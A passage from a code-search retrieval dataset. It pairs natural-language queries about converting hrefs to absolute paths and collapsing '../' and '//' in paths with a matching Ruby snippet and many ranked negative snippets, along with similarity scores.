"0.5772223",
"0.57659525",
"0.574222",
"0.5739846",
"0.5735664",
"0.5734809",
"0.5734809",
"0.57333964",
"0.57333964",
"0.57329446",
"0.5730722",
"0.57087755",
"0.56851315",
"0.56832975",
"0.5669369",
"0.5669369",
"0.56687284",
"0.56672615",
"0.5623129",
"0.56189126",
"0.5608355",
"0.5608355",
"0.5590598",
"0.55786234",
"0.5568987",
"0.5567521",
"0.55621237",
"0.5558722",
"0.55415505",
"0.5539752",
"0.55254716",
"0.55186427",
"0.55111474",
"0.55005795",
"0.549903",
"0.549337",
"0.549337",
"0.54841346",
"0.54786474",
"0.5472632",
"0.5471981",
"0.5471981",
"0.5469878",
"0.5464109",
"0.54618347",
"0.54609853",
"0.54546696",
"0.5451398",
"0.544385",
"0.54424554",
"0.5436838",
"0.54284203",
"0.542382",
"0.54178756",
"0.5410944",
"0.540528",
"0.53991026",
"0.53967893",
"0.5392386",
"0.53898245",
"0.5386669",
"0.53841394",
"0.5375584",
"0.53751904",
"0.53689736"
] | 0.0 | -1 |
turn a href into an absolute path | def make_path(base, href)
return href if href[0] == '/'
base + href
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def expand_path(href)\n return href if href.match(/^https*:\\/\\//) # if starts with protocol complete link\n return @request_href unless href.match(/[a-zA-Z0-9]+/) # rejects href=\"#\" and allows non-unique exception handling.\n return @request_href if href.match(/#[a-zA-Z0-9]*$/)\n\n if href[0, 1] != \"/\"\n return @request_href + href if @request_href[-1, 1] == \"/\"\n return @request_href + \"/\" + href\n else\n # relative path from domain.\n base_url = @request_href.match(BASEURLREG).to_a.first\n return base_url + href unless base_url[-1, 1] == \"/\"\n return base_url.chop + href\n end\n end",
"def url_from_href(href) #:nodoc:\n scheme, host, path = $1, $2, $3 if URL_PARTS.match href\n\n scheme = uri.scheme if scheme.nil? or scheme.empty? and uri.respond_to? :scheme\n\n host = uri.host if host.nil? or host.empty? and uri.respond_to? :host\n\n path = (\n (/\\/$/.match(uri.path)) ?\n '%s%s' % [uri.path,path] :\n '%s/%s' % [File.dirname(uri.path),path]\n ) unless /^\\//.match path\n\n '%s://%s%s' % [scheme, host, path]\n end",
"def to_absolute(link)\n return nil if link.nil?\n\n # remove anchor\n link = link.to_s.gsub(/#.*$/,'')\n if Gem::Requirement.new('< 2.5').satisfied_by?(Gem::Version.new(RUBY_VERSION))\n link = URI.encode(URI.decode(link))\n end\n\n relative = URI(link)\n absolute = base ? base.merge(relative) : @url.merge(relative)\n\n absolute.path = '/' if absolute.path.empty?\n\n return absolute\n end",
"def normalise_href(href)\n # ignore links which are external, or to in-page anchors\n return nil if href[0] == \"#\" || [\"/\", \"http\", \"mail\", \"/ima\"].include?(href[0, 4])\n\n # Remove any trailing anchors, or \"/\" and leading \"./\" \n target = href.sub(/\\#.*/, \"\").sub(/\\/$/, \"\").sub(/\\.*/, \"\").sub(/\\/*/, \"\")\n\n # Ignore links which don't point to html files\n /html$/.match?(target) ? target : nil\nend",
"def to_absolute(link)\n # remove anchor\n link = URI.encode(link.to_s.gsub(/#[a-zA-Z0-9_-]*$/,''))\n\n relative = URI(link)\n absolute = @url.merge(relative)\n\n absolute.path = '/' if absolute.path.empty?\n\n return absolute\n end",
"def absolute_url(href)\n Addressable::URI.join(self.class::DOMAIN, href).to_s\n end",
"def relativize(href, path, absolute_base, root_dir)\n # href = actual href string on page\n # path = actual current location / file path of current page\n # absolute_base = the base url for the site\n\n href_url = URI.join(URI.encode(absolute_base), URI.encode(href))\n path_url = URI.join(absolute_base, URI.encode(path))\n relative_url = path_url.route_to(href_url).to_s\n url_out = test_index(relative_url, href_url, absolute_base, root_dir)\n if href.match(/^#/)\n url_out = href\n end\n url_out\nend",
"def to_absolute(link, url)\n return nil if link.nil?\n url = URI(url.to_s) unless url.is_a?(URI)\n\n # remove anchor\n link = URI.encode(link.to_s.gsub(/#[a-zA-Z0-9_-]*$/,''))\n\n relative = URI(link)\n absolute = url.merge(relative)\n\n absolute.path = '/' if absolute.path.nil? or absolute.path.empty?\n\n return absolute\n end",
"def to_absolute(page, link)\n # remove anchor\n link = URI.encode(link.to_s.gsub(/#[a-zA-Z0-9_-]*$/,''))\n\n relative = URI(link)\n absolute = page.url.merge(relative)\n\n absolute.path = '/' if absolute.path.empty?\n\n return absolute\n end",
"def relative_link(link)\n # REMEMBER TO ADD ROUTES TO HANDLE THESE LINKS\n link.gsub!(@base, \"\").gsub!(\".html\", \"\").gsub!(\"-\", \"_\")\n end",
"def to_absolute(link)\n # remove fragment\n link = link.split('#').first if link.index('#')\n url = URI(URI.encode(link))\n raise URI::InvalidURIError unless url.path\n url = @url.merge(url) if url.relative?\n url.path = '/' if url.path.empty?\n url\n end",
"def convert_a(el, indent)\n\t\tif @options[:cdn_prefix]\n\t\t\tel.attr['href'] = cdn_url(el.attr['href'])\n\t\tend\n\t\t# any hrefs not starting with proto: or / or # are relative and \n\t\t# will be prefixed\n\t\tif el.attr['href'] && el.attr['href'] !~ /(^[\\w]*:|^\\/|^\\#)/\n\t\t\tel.attr['href'] = File.join(@options[:asset_prefix], el.attr['href'])\n\t\tend\n\t\tsuper\n\tend",
"def link_path\n File.join(\"/f/#{@page_name}\", name) # /foo/bar_files/file.jpg\n end",
"def as_href(from_path)\n RDoc::Markup::ToHtml.gen_relative_url from_path, path\n end",
"def clean_url(href)\n # TODO: A better way would be to split by / then take the last section, strip off the anchor then cgi escape\n URI.unescape(href.strip).gsub(\" \", \"%20\")\n end",
"def site_url(href)\n path_resolver = (@path_resolver ||= PathResolver.new)\n base_dir = path_resolver.posixify(@document.base_dir)\n site_root = path_resolver.posixify(@document.attr('site-root', base_dir))\n unless path_resolver.is_root? site_root\n raise ::ArgumentError, %(site-root must be an absolute path: #{site_root})\n end\n base_dir_to_root = nil\n if (base_dir != site_root) && (base_dir.start_with? site_root)\n comp, root = path_resolver.partition_path(base_dir.slice(site_root.length + 1, base_dir.length))\n base_dir_to_root = '../' * comp.length\n end\n path_resolver.web_path(href, base_dir_to_root)\n end",
"def href\n dir = ::File.dirname(file.path)\n ext = ::File.extname(file.path)\n\n if dir != '.'\n ::File.join(dir, name.chomp(ext)) #file.path) \n else\n if name == settings.index #|| 'Home'\n 'index.html'\n else\n name.chomp(ext) #file.path\n end\n end\n end",
"def url(href)\n a href, :href => href\n end",
"def get_path_for(path)\n if path.respond_to?(:href)\n path = path.href\n elsif path =~ /^[^\\/]/\n if link = link_for_rel(path)\n path = link.href\n end\n end\n path\n end",
"def absolutize_url(url)\n # file_path = File.expand_path(File.join(working_directory, url))\n # full_path = File.expand_path(File.join(path, url))\n # full_path.gsub(File.expand_path(path), '')\n ('/' + url.split('./').last).gsub(%r(/+), '/')\n end",
"def makeAbsolute(link, currURL)\n\t\tif not ( link =~ /http/ )\n\t\t\t# relative link: create absolute link\n\n\t\t\t# .edu/pigs/index.html should be treated as .edu/pigs\n\t\t\tdirectory = /(.*#{Regexp.escape(\"/\")})\\w+#{Regexp.escape(\".\")}\\w+$/.match(currURL)\n\t\t\tif directory\n\t\t\t\tcurrURL = directory[1]\n\t\t\tend\n\n\t\t\t# remove any trailing forward slash\n\t\t\tif currURL[-1] == \"/\"\n\t\t\t\tcurrURL = currURL[0..-2]\n\t\t\tend\n\n\t\t\t# if the link starts with \"/\", don't just append\n\t\t\tif ( link =~ /^#{Regexp.escape(\"/\")}/ )\n\t\t\t\tdomain = URI.parse(currURL).host\n\t\t\t\tlink = \"http://\" + domain + link\n\t\t\telse\n\t\t\t\t# is ../ the start?\n\t\t\t\tif ( link =~ /^..#{Regexp.escape(\"/\")}/ )\n\t\t\t\t\t# make sure you can actually go back a directory: look for bowdoin.edu/***/ at least\n\t\t\t\t\tif ( currURL =~ /.*bowdoin.edu#{Regexp.escape(\"/\")}.*#{Regexp.escape(\"/\")}?/ )\n\t\t\t\t\t\t# remove first instance of ../\n\t\t\t\t\t\tadjustedLink = link[3..-1]\n\t\t\t\t\t\tshortened = /.*#{Regexp.escape(\"/\")}/.match(currURL)\n\t\t\t\t\t\t# remove / at end (guaranteed if the regex matches)\n\t\t\t\t\t\tshortened = shortened[0][0..-2]\n\n\t\t\t\t\t\t# another instance of ../?\n\t\t\t\t\t\tif ( adjustedLink =~ /^..#{Regexp.escape(\"/\")}/ )\n\t\t\t\t\t\t\t# recurse on shortened URL\n\t\t\t\t\t\t\tresult = makeAbsolute(adjustedLink, shortened)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tresult = shortened + \"/\" + adjustedLink\n\t\t\t\t\t\t\treturn result\n\t\t\t\t\t\tend\t\t\t\t\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t# normal relative link - add to end\n\t\t\t\t\tending = /.*#{Regexp.escape(\"/\")}([^#{Regexp.escape(\"/\")}]*)$/.match(currURL)\n\t\t\t\t\tif ending\n\t\t\t\t\t\ttoMatch = ending[1]\n\t\t\t\t\t\tif ( link =~ /^#{toMatch}/ )\n\t\t\t\t\t\t\tputs \"Repeats, avoiding \" + link\n\t\t\t\t\t\t\treturn currURL\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn currURL + \"/\" + link\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\treturn link\n\t\tend\n\tend",
"def absolutify url, cd \n url = url.to_s\n # deal w/ bad URLs, already absolute, etc\n begin\n u = URI.parse(url)\n rescue\n # GIGO, no need for alarm\n return url\n end\n\n return url if u.absolute? # http://example.com/about\n c = URI.parse(cd)\n return c.scheme + \"://\" + c.host + url if url.index('/') == 0 # /about\n return cd + url if url.match(/^[a-zA-Z]+/) # about*\n\n # only relative from here on in; ../about, ./about, ../../about\n u_dirs = u.path.split('/')\n c_dirs = c.path.split('/')\n\n # move up the directory until there are no more relative paths\n u.path.split('/').each do |x|\n break unless (x == '' || x == '..' || x == '.')\n u_dirs.shift\n c_dirs.pop unless x == '.'\n end\n return c.scheme + \"://\" + c.host + c_dirs.join('/') + '/' + u_dirs.join('/')\n end",
"def to_url(host)\n uri = URI.parse(href)\n if uri.absolute?\n if uri.host != URI.parse(host).host\n Grell.logger.debug \"GRELL does not follow links to external hosts: #{href}\"\n nil\n else\n href # Absolute link to our own host\n end\n else\n if uri.path.nil?\n Grell.logger.debug \"GRELL does not follow links without a path: #{uri}\"\n nil\n end\n if uri.path.start_with?('/')\n host + href # convert to full URL\n else # links like href=\"google.com\" the browser would go to http://google.com like \"http://#{link}\"\n Grell.logger.debug \"GRELL Bad formatted link: #{href}, assuming external\"\n nil\n end\n end\n rescue URI::InvalidURIError # Invalid links propagating till we navigate to them\n href\n end",
"def link_path\n File.join('/_attachment', @page_name, name)\n end",
"def absolute_url_for(uri, str)\n # TODO: use URI.parse() for better handling?\n return str if str =~ /^[|[:alpha:]]+:\\/\\//\n File.join(((uri.path.empty?) ? uri.to_s : File.dirname(uri.to_s)), \n str)\n end",
"def absolutify_url(uri)\n if uri =~ /^\\w*\\:/i\n normalize_url(uri)\n else\n Addressable::URI.join(@url, uri).normalize.to_s\n end\n rescue URI::InvalidURIError, Addressable::URI::InvalidURIError => e\n add_fatal_error \"Link parsing exception: #{e.message}\" and nil\n end",
"def fix_link_path(absolute_path, link)\r\n\t\tabsolute_path += \"/\" if !absolute_path.end_with?(\"/\") && !link.start_with?(\"/\")\r\n\t\tabsolute_path + link\r\n\tend",
"def absolutify_url(url)\n url =~ /^\\w*\\:/i ? url : File.join(@url,url)\n end",
"def href\n @href ||= build_href(path, collection: self.collection?)\n end",
"def build_href(path, collection: false)\n if propstat_relative_path\n request.path_for path, collection: collection\n else\n request.url_for path, collection: collection\n end\n end",
"def make_absolute_url(url)\n return url unless Addressable::URI.parse(url).relative?\n begin\n Addressable::URI.parse(@page_url).merge(url).to_s\n rescue\n url\n end\n end",
"def absolute_url\n domain + path\n end",
"def raw_href\n templated? ? template.pattern : target.href\n end",
"def href\n attributes[:href]\n end",
"def normalize_path(url); end",
"def normalize_path(url); end",
"def resolve_file_path(anchor)\n return anchor if anchor.path.end_with?('index.html') && File.exist?(\"out#{anchor.path}\")\n\n # Check if path is in list of redirects\n # This the initial source path\n redirect_source = anchor.path\n # This is the final destination\n redirect_final_dest = nil\n # Trigger to stop redirect evaluation\n stop_redirect_evaluation = false\n\n until stop_redirect_evaluation\n stop_redirect_evaluation = true\n\n next unless REDIRECTS.key?(redirect_source)\n\n redirect_source = REDIRECTS[redirect_source]\n redirect_final_dest = URI.parse(redirect_source)\n stop_redirect_evaluation = false\n end\n\n # Return path if redirect resolved to an external URL\n case redirect_final_dest.class.to_s\n when 'URI::HTTP', 'URI::HTTPS'\n return redirect_final_dest\n when 'URI::Generic'\n begin\n anchor = anchor.merge(redirect_final_dest)\n rescue URI::BadURIError\n anchor = redirect_final_dest\n end\n end\n\n # List of potential path extensions\n potential_extensions = [\n # change /path/ to path.html\n anchor.path.sub(%r{/$}, '.html'),\n # change /path to /path.html\n \"#{anchor.path}.html\",\n # /path/index.html\n \"#{anchor.path}/index.html\"\n ]\n\n potential_prefixes = [\n # relative\n '',\n # absolute\n '/'\n ]\n\n potential_prefixes.each do |prefix|\n potential_extensions.each do |suffix|\n test_path = \"#{prefix}#{suffix}\"\n if File.exist?(\"out#{test_path}\") && File.file?(\"out#{test_path}\")\n anchor.path = test_path\n return anchor\n end\n end\n end\n\n # Return the original path we were passed in.\n # Its possible this is a redirect which will be resolved later.\n anchor\nend",
"def normalize_uri\r\n self.link = Addressable::URI.heuristic_parse(self.link).normalize!.to_s if self.link\r\n end",
"def make_absolute_url(url)\n return url unless URI.parse(url).relative?\n begin\n URI.parse(@page_url).merge(url).to_s\n rescue URI::Error\n url\n end\n end",
"def full_path(current_url, link)\n uri = URI current_url\n uri.merge link\n rescue URI::InvalidURIError => e\n uri.merge URI.escape(link)\n end",
"def get_absolute_file_url(url)\n orig_url = url.to_s.strip\n \n url = file_url(orig_url)\n # If a file:// was stripped from the url, this means it will always point\n # to a file\n force_file = (orig_url != url)\n # Indicates wether the base url is a network url or a file/directory\n base_is_net = !base_file_url.is_a?(String)\n # Try to find if we have a \"net\" URL if we aren't sure if this is a file. In\n # case the base url is a network url, we'll always assume that the\n # url is also a net thing. Otherwise we only have a net url if it contains a\n # '://' string\n is_net_url = !force_file && (base_is_net || url.include?('://'))\n # The url is absolute if there is a : character to be found\n \n \n if(is_net_url)\n base_is_net ? join_url(base_file_url, url) : url\n else\n base_is_net ? url : join_files(base_file_url, url)\n end\n end",
"def absolutify_url(src, base_url, parent_url)\r\n if src.nil? || src.empty? || src == \"//:\" || src =~ /\\s*http:\\/\\//i\r\n return src\r\n end\r\n\r\n return \"#{base_url}#{src}\" if src =~ /^\\s*\\//\r\n return \"#{parent_url}#{src}\" if parent_url\r\n return src\r\n end",
"def full_url(url, path)\n if path.start_with?('http')\n path\n else\n url = url[0..1] if url.end_with?('/')\n path = path[1..-1] if path.start_with?('/')\n \"#{url}/#{path}\"\n end\n end",
"def get_link_path(url)\n ((link_path = url.sub(@donor.url, '').squish)[0] == '/') ? link_path : ('/' + link_path)\n end",
"def absolutify_url(src, base_url, parent_url)\n if src.nil? || src.empty? || src == \"//:\" || src =~ /\\s*http:\\/\\//i\n return src\n end\n \n return \"#{base_url}#{src}\" if src =~ /^\\s*\\//\n return \"#{parent_url}#{src}\" if parent_url\n return src\n end",
"def relative_path(from, to); end",
"def rel_to(path)\n path = path + '/' unless path.end_with?('/')\n if rel.start_with?(path)\n rel.sub(path, '')\n else\n raise \"#{@abs} is not in #{path}\"\n end\n end",
"def uri\n @uri ||= if @href then\n begin\n URI.parse @href\n rescue URI::InvalidURIError\n begin\n URI.parse(Addressable::URI.escape(@href))\n rescue Addressable::URI::InvalidURIError\n raise URI::InvalidURIError\n end\n end\n end\n end",
"def change_hrefs(html)\n DOM.walk(html) do |node|\n for attr_name in %w{href src}\n attr_obj = node.attributes[attr_name]\n\n # Ignore if its blank\n next if !attr_obj\n\n # URL encode any spaces\n orig_href = attr_obj.to_s.gsub(\" \", \"%20\")\n\n begin\n src = URI(orig_href)\n rescue\n log \"#{orig_href} not a valid URI\"\n next\n end\n\n if internal_link?(src.to_s)\n linked_item = nil\n\n if src.path == \"\"\n # If its just an anchor like '#this' just set to the current file\n linked_item = self\n else\n # Match on the unescaped href\n unescaped_path = URI::unescape(src.path)\n linked_item = get_item(unescaped_path)\n end\n\n # Change link\n if linked_item\n new_path = linked_item.normalized_hashed_path(:relative_to => self)\n new_path = URI(new_path)\n\n if src.fragment\n new_path.fragment = src.fragment\n end\n\n log \"Changing #{src.to_s} to #{new_path.to_s}\"\n attr_obj.content = new_path.to_s\n else\n log \"No item in manifest for #{src}\"\n end\n end\n end\n end\n end",
"def process\n return nil unless link_url?\n url = @url.dup\n if url = parse(url)\n return parse_relative_url unless url.host\n url.scheme ||= @source_url.scheme\n if same_source_host? || external_asset_url?\n URI.unescape(url.to_s, '%7C')\n end\n end\n end",
"def make_folders_absolute(f,tt)\n tt.elements.each(\"//node\") do |nn|\n if nn.attributes['LINK']\n nn.attributes['LINK']= File.expand_path(File.dirname(f))+\"/#{nn.attributes['LINK']}\"\n end\n end\n end",
"def pathname(path, link)\n path_string = path&.length&.positive? ? '/' + path.join('/') : ''\n path_string = path_string.tr(' ', '-')\n \"/#{SITEMAP_SUBDIRECTORY}/#{name}#{path_string}/#{link}\"\n end",
"def linked_path_for(path)\n return path unless path.include?('/')\n current_path_base = request.env['REQUEST_URI'].gsub(path,'')\n dirs = path.split('/')\n file = dirs.pop\n linked_path = ''\n dirs.each do |dir|\n link = '<a href=\"' + current_path_base + dir + '\">' + dir + '</a>'\n current_path_base << \"#{dir}/\"\n linked_path << \"#{link}/\" \n end\n linked_path << file\n end",
"def make_folders_absolute(f,tt)\n tt.elements.each(\"//node\") do |nn|\n if nn.attributes['LINK']\n nn.attributes['LINK']= File.expand_path(File.dirname(f))+\"/#{nn.attributes['LINK']}\"\n end\n end\n end",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def convert_relative_links(url)\n base_url = doc.css('base').present? ? doc.css('base')[0]['href'] : url.split('?').first \n return if base_url.blank?\n doc.css('a').each do |link|\n link['href'] = converted_link(base_url, link['href'])\n end\n end",
"def link_name(name)\n File.expand_path(File.join('~', '.' + File.basename(name)))\nend",
"def link_to(title, path, opts={}, base=true)\n unless is_uri?(path) || base == false\n path = url(path)\n end\n \n return \"<a href=\\\"#{path}\\\"#{parse_options(opts)}>#{title}</a>\"\n end",
"def expand_path( path )\n File.expand_path( path.gsub( /^\\/+/, '' ), self.link.path.gsub( /\\/*$/, '/' ) ).gsub( /^C:/, '')\n end",
"def absolute_uri_path(path)\n \"#{root_uri}#{path}\"\n end",
"def link\n # TODO: URL escape links\n if top_level? && (!is_a? SiteDir)\n name\n else\n if is_a? SiteDir # TODO: do a dynamic renderable test?\n top_level? ? \"dropsite/#{@path}.html\" : \"#{@path}.html\".sub(/^\\//, '')\n else\n # Builds a link back up to the file in Public root since the pages\n # are built in a parallel directory structure\n dirs_up = @path.split(File::SEPARATOR).size - 1\n (['..'] * dirs_up).join('/') + \"/#{@path}\"\n end\n end\n end",
"def get_hyperlink(row)\n URI.join(native_host, row.dig('uri')).to_s\n end",
"def href; end",
"def readlink_to_pathname\n rl = readlink\n rl.relative? ? parent + rl : rl\n end",
"def path\r\n url.gsub(/https?:\\/\\/[^\\/]+\\//i, '').scan(/([^&]+)/i).first().first()\r\n end",
"def link_to_url(link)\n uri = URI.parse(link)\n if uri.absolute?\n if uri.host != URI.parse(host).host\n Grell.logger.debug \"GRELL does not follow links to external hosts: #{link}\"\n nil\n else\n link # Absolute link to our own host\n end\n else\n if uri.path.nil?\n Grell.logger.debug \"GRELL does not follow links without a path: #{uri}\"\n nil\n end\n if uri.path.start_with?('/')\n host + link #convert to full URL\n else #links like href=\"google.com\" the browser would go to http://google.com like \"http://#{link}\"\n Grell.logger.debug \"GRELL Bad formatted link: #{link}, assuming external\"\n nil\n end\n end\n\n rescue URI::InvalidURIError #We will have invalid links propagating till we navigate to them\n link\n end",
"def href\n \"/admin/dav/#{path}\"\n end",
"def url(p = path)\n \"/\" + relative_path(p).to_s.downcase.gsub(/\\s/, \" \")\n end",
"def to_anchor\n anchor = @uri.fragment\n anchor ? Wgit::Url.new(\"##{anchor}\") : nil\n end",
"def absolute_url\n return unless fileable?\n Rails.application.routes.default_url_options[:host] ||= \"http://localhost:3000\"\n Rails.application.routes.url_helpers.root_url[0..-2] + file.url\n end",
"def link_to_url\n return redirect_url unless redirect_url.blank?\n path\n end",
"def href_for(target)\n if (target =~ /^[\\w-]+:/) == 0\n target\n else\n href_resolver && href_resolver.call(target) || \"##{target}\"\n end\n end",
"def relative_url(input); end",
"def url_for(str)\n return str if str =~ /^[|[:alpha:]]+:\\/\\//\n File.join((uri.path.empty?) ? uri.to_s : File.dirname(uri.to_s), str)\n end",
"def absolute_url(url)\n if url && !url.include?(\"http\") \n URI.join(root_url, url)\n else\n url\n end\n end",
"def href\n @href ||= raw\n .fetch(\"_links\",{})\n .fetch(\"self\",{})\n .fetch(\"href\",nil)\n end",
"def href\n @href ||= begin\n h = nokoxmlelement.attr('href')\n h != '' ? h : 'site/home'\n end\n end",
"def make_link( old ) File.link( old, expand_tilde ) end",
"def href\n if clickable?\n # current_piece.url > current_data_item.url > current_page.url\n return page_layout.href if get_content_param_by_key( :context ) > 0\n return self.collection_tag.running_data_item.path if self.collection_tag.running_data_item.present?\n return self.collection_tag.current_page_tag.path\n end\n end",
"def realpath\n if(self.page)\n return Rails.application.routes.url_helpers.page_path(self.page)\n end\n '/' + self.explicit_path\n end",
"def link(target)\n File.join(site.url, target)\n end",
"def parse_uri(href)\n # to_s prevent to return nil from this method\n Addressable::URI.heuristic_parse(href.to_s) rescue nil\n end",
"def href\n href = (@url || @dos).to_s.dup\n if @fragment\n href << client('#', 'UTF-8') << @fragment\n end\n href\n end",
"def relative_path_from(from); end",
"def normalize_href(type, value)\n href = Api::Href.new(type.to_s)\n\n if href.collection? && href.subcollection?\n # type is a 'reftype' (/:collection/:id/:subcollection)\n normalize_url(\"#{href.collection}/#{href.collection_id}/#{href.subcollection}/#{value}\")\n elsif href.collection == @req.subcollection\n # type is a subcollection name\n # Use the request to assume the proper collection to nest this under\n if collection_config.subcollection?(@req.collection, href.collection.to_sym)\n normalize_url(\"#{@req.collection}/#{@req.collection_id}/#{href.collection}/#{value}\")\n end\n else\n # type is a collection name\n if collection_config.collection?(href.collection)\n normalize_url(\"#{href.collection}/#{value}\")\n end\n end\n end",
"def abs_path_with(rel_path)\n path = abs_path\n return rel_path if path.nil?\n return \"#{path}.#{rel_path}\"\n end",
"def absolutize_url(url)\n url =~ /\\Ahttps?/ ? url : \"http://#{url}\"\n end",
"def absolute_url\n File.join(BLOG.url, url)\n end",
"def href=(value)\n @href = value\n end",
"def uri(path)\n s = File::expand_path(path).gsub(DIR, \"\").gsub(File::SEPARATOR, '/')\n return s == '' ? '/' : s\n end",
"def parse_uri(href)\n # to_s prevent to return nil from this method\n Addressable::URI.parse(href.to_s) rescue nil\n end",
"def href\n if @node.name == 'span' &&\n @node.first_element_child&.name == 'a' &&\n @node.first_element_child&.has_attribute?('href')\n strip_google_redirect(\n @node.first_element_child.attribute('href').value\n )\n end\n end",
"def id_from_href(href)\r\n if href.include?(\"?\")\r\n href = href.partition(\"?\")[0]\r\n end\r\n id = href.split(\"/\").last\r\n id\r\n end",
"def fix_relative_path(entry)\n feed_url = Addressable::URI.parse(url)\n entry.url = feed_url.scheme + '://' + feed_url.host + entry.url\n end",
"def absolutize_path(path = nil)\n \"#{root_path}#{path}\"\n end",
"def add_href\n return if attributes.key?(\"href\")\n return unless attributes.key?(\"id\")\n attributes[\"href\"] = client.connection.api_path(\"#{collection.name}/#{attributes['id']}\")\n end",
"def link(path=\"\",controller=nil)\n return nil if !@workingpath\n if controller\n path = File.join(\"/#{controller}\",\"#{path}\")\n else\n path = File.join(\"/#{@workingpath[1..-1].join('/')}\",\"#{path}\")\n end\n path = path[0..-2] if path.length && path[-1..-1] == \"/\"\n return path\n end",
"def join_url(base_url, path)\n return path if(path.include?(':')) # Absolute URL contains ':'\n if(path[0..0] == '/')\n new_url = base_url.clone\n new_url.path = path\n new_url.to_s\n else\n (base_file_url + path).to_s\n end\n end",
"def to_absolute( reference )\n absolute = case reference\n when Arachni::URI\n reference.parsed_url\n when ::URI\n reference\n else\n self.class.new( reference.to_s ).parsed_url\n end.merge( @parsed_url )\n\n self.class.new( absolute )\n end"
] | [
"0.74313325",
"0.7259466",
"0.7234768",
"0.7195484",
"0.71680987",
"0.71527714",
"0.7023498",
"0.6959961",
"0.6959891",
"0.6949252",
"0.69085574",
"0.6827566",
"0.6731841",
"0.67244583",
"0.671601",
"0.6713233",
"0.67031634",
"0.66990775",
"0.66528964",
"0.6634661",
"0.6624634",
"0.65588886",
"0.6506714",
"0.6500628",
"0.6492348",
"0.647526",
"0.6429499",
"0.6426743",
"0.6413162",
"0.64031446",
"0.63832676",
"0.6382906",
"0.63668346",
"0.6365149",
"0.63220483",
"0.63220483",
"0.62938005",
"0.62754536",
"0.62653816",
"0.6258122",
"0.62548554",
"0.62459016",
"0.6238884",
"0.62363315",
"0.6231066",
"0.6227374",
"0.61901075",
"0.6182329",
"0.6172808",
"0.6113818",
"0.6088514",
"0.60857487",
"0.60754615",
"0.6072149",
"0.6068971",
"0.6068971",
"0.60659593",
"0.605609",
"0.6042865",
"0.60402215",
"0.6037761",
"0.60330874",
"0.60324234",
"0.60302",
"0.6027449",
"0.60233533",
"0.60223883",
"0.60103005",
"0.59945995",
"0.5987092",
"0.598485",
"0.5984378",
"0.5972324",
"0.5969518",
"0.5959589",
"0.59536195",
"0.5950589",
"0.5943583",
"0.5940721",
"0.5939675",
"0.5936555",
"0.59351796",
"0.5933142",
"0.59122026",
"0.59077525",
"0.5901057",
"0.5896921",
"0.5895379",
"0.58891886",
"0.58888173",
"0.58815503",
"0.5881388",
"0.5877308",
"0.58745986",
"0.5871992",
"0.58708125",
"0.5869118",
"0.5867521",
"0.585986",
"0.58548576"
] | 0.7278829 | 1 |
reduce any '../', './', and '//' in a path or uri | def reduce_path(path)
if path =~ /^(https?:\/\/.+)(\/.*)/
prefix = $1
path = $2
relative = false
else
prefix = nil
relative = path[0] != '/'
end
while path.sub!(/\/*[^\/]+\/+\.\./, ''); end
while path.sub!(/\/+\.\/+/, '/'); end
path = path[2..-1] if path[0..1] == './'
while path.sub!(/\/\//, '/'); end
path = path[1..-1] if relative and path[0] == '/'
path = prefix + path if prefix
path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def uri(path)\n s = File::expand_path(path).gsub(DIR, \"\").gsub(File::SEPARATOR, '/')\n return s == '' ? '/' : s\n end",
"def normalize_path(url); end",
"def normalize_path(url); end",
"def normalize_uri(*strs)\n new_str = strs * \"/\"\n\n new_str = new_str.gsub!(\"//\", \"/\") while new_str.index(\"//\")\n\n # Makes sure there's a starting slash\n unless new_str[0,1] == '/'\n new_str = '/' + new_str\n end\n\n new_str\n end",
"def normalize_uri(*strs)\n new_str = strs * '/'\n new_str = new_str.gsub!('//', '/') while new_str.index('//')\n new_str\n end",
"def fullpath(uri)\n return File.join(DIR, uri.gsub('/', File::SEPARATOR))\n end",
"def humanish(uri)\n uri.path.split('/').last.gsub('.git', '')\n end",
"def normalize_path(path); end",
"def normalize_path(path); end",
"def get_path(uri)\n name = uri.gsub(\"http://\", \"\")\n dir_list = name.split(\"/\")\n return dir_list\n end",
"def uri_normalize(uri)\n \treturn 'http://' + uri unless uri =~ /http:\\/\\//\n \turi\n\tend",
"def uri_normalize(uri)\n \treturn 'http://' + uri unless uri =~ /http:\\/\\//\n \turi\n\tend",
"def host_and_path(uri)\n uri = URI.parse(uri) unless uri.is_a? URI\n host = uri.host\n path = uri.path.gsub(/\\/$/, '')\n path = path.empty? ? '/' : uri.path\n URI.parse(\"#{host}#{path}\")\n end",
"def uri_path(str)\n str.gsub(%r{[^/]+}n) { uri_segment($&) }\n end",
"def conform_uri(uri_string)\n uri_string.gsub(/^(?!\\/)(.*)/, '/\\1').gsub(/[\\/]+$/, '')\n end",
"def path_without_name_and_ref(path); end",
"def normalize_path(path)\n path.sub(%r{^/}, '').tr('', '')\n end",
"def normalize_path(path)\n path = \"/#{path}\"\n path.squeeze!('/')\n path.sub!(%r{/+\\Z}, '')\n path = '/' if path == ''\n path\n end",
"def url_for(str)\n return str if str =~ /^[|[:alpha:]]+:\\/\\//\n File.join((uri.path.empty?) ? uri.to_s : File.dirname(uri.to_s), str)\n end",
"def relativize_path(path)\n path.to_s.gsub(/^\\/?#{Regexp.escape(root_path.to_s)}\\/?/, '')\n end",
"def normalize_url(path)\n @known_pairs ||= {}\n @public_directories_regex ||= Regexp.new(Bones.public_directories.join('|'))\n \n if v = @known_pairs[path]\n return v\n else\n value = case\n when path =~ /^(\\w{3,}:\\/\\/|mailto)/\n # don't do anything to this type of URL\n return path\n when path =~ @public_directories_regex\n path\n when File.directory?('pages' / path)\n path\n else\n # don't add .html if there's already an extension\n path =~ /\\..+/ ? path : path + '.html'\n end\n \n @known_pairs[path] = options.base / value\n end \n end",
"def normalize_path(path)\n path = \"/#{path}\"\n path.squeeze!('/')\n path.sub!(%r{/+\\Z}, '')\n path = '/' if path == ''\n path\n end",
"def remove_leading_slash(path); end",
"def get_file_uri_path(uri)\n uri.sub(%r{\\Afile://}, '')\n end",
"def unescape_path(path); end",
